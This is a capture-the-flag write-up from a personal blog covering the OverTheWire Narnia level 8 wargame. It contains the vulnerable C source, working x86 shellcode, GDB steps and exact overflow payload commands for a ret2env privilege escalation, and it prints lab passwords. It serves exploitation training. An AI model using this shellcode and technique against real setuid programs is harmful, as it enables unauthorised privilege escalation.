Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 8 → 9 Walkthrough

Login

ssh narnia8@narnia.labs.overthewire.org -p 2226
# password: mohthuphog

Task

Binary: /narnia/narnia8

cd /narnia
./narnia8
# ./narnia8 argument
./narnia8 test
# prints: test

The binary just prints back whatever we pass in.


Source Code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int i;

void func(char *b){
    char *blah = b;
    char bok[20];

    memset(bok, '\0', sizeof(bok));
    for(i=0; blah[i] != '\0'; i++)
        bok[i]=blah[i];

    printf("%s\n", bok);
}

int main(int argc, char **argv){
    if(argc > 1) func(argv[1]);
    else printf("%s argument\n", argv[0]);
    return 0;
}

Analysis

  • bok is only 20 bytes, but the loop doesn’t check bounds → buffer overflow.
  • By overflowing, we can overwrite stack values after bok, eventually reaching the return address.
  • The buffer is too small for inline shellcode → the intended approach is ret2env (jump into shellcode placed in an environment variable).

Exploitation Walkthrough

Step 1: Inspect the stack in GDB

Set a breakpoint at the printf call inside func:

gdb /narnia/narnia8
(gdb) disas func
(gdb) break *func+106

Run with 20 As:

(gdb) run $(python -c 'print 20*"A"')
(gdb) x/16wx $esp

We observe:

  • Addresses of our input appear (e.g. 0xffffd871)
  • Return address of main (e.g. 0x080484a7).

As we increase input length to 21, 22, … one byte of the saved address is corrupted. Each added byte requires us to decrement the pointer address by 1 to stay aligned.


Step 2: Control EIP

Payload pattern:

"A"*20 + <adjusted pointer> + "AAAA" + "CCCC"

Once tuned, EIP becomes 0x43434343 (CCCC), proving control.


Step 3: Place shellcode in environment

export SHELLCODE=$(printf \
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80"\
"\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"\
"\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80")

In GDB, locate it:

(gdb) x/s *((char **)environ)
# ... eventually shows "SHELLCODE=..."
# example at 0xffffde92

Replace “CCCC” in payload with this address (little-endian):

(gdb) run $(python -c 'print 20*"A" + "\x40\xd8\xff\xff" + "AAAA" + "\x92\xde\xff\xff"')
# → /bin/dash

Step 4: Outside GDB

Since GDB changes memory layout, compile a helper:

// /tmp/find_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]){
    printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
cd /tmp
gcc -m32 find_addr.c -o find_addr
./find_addr SHELLCODE
# e.g. SHELLCODE is at 0xffffdea1

Find adjusted input pointer from program output (subtract ~12), then build payload:

/narnia/narnia8 $(python -c 'print 20*"A" + "\x5e\xd8\xff\xff" + "AAAA" + "\xa1\xde\xff\xff"')

And boom:

$ whoami
narnia9
$ cat /etc/narnia_pass/narnia9
eiL5fealae

Password

eiL5fealae

Key Takeaways

  • Small buffer = overflow.
  • Each extra byte shifts stack → adjust pointer accordingly.
  • Environment variables are a reliable place for shellcode when the local buffer is too small.
  • Always test addresses outside gdb.

Thanks for reading!

You’ve now cleared all Narnia levels (0 → 9) 🎉. Time to celebrate and move on to the next wargame!

Congrats

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with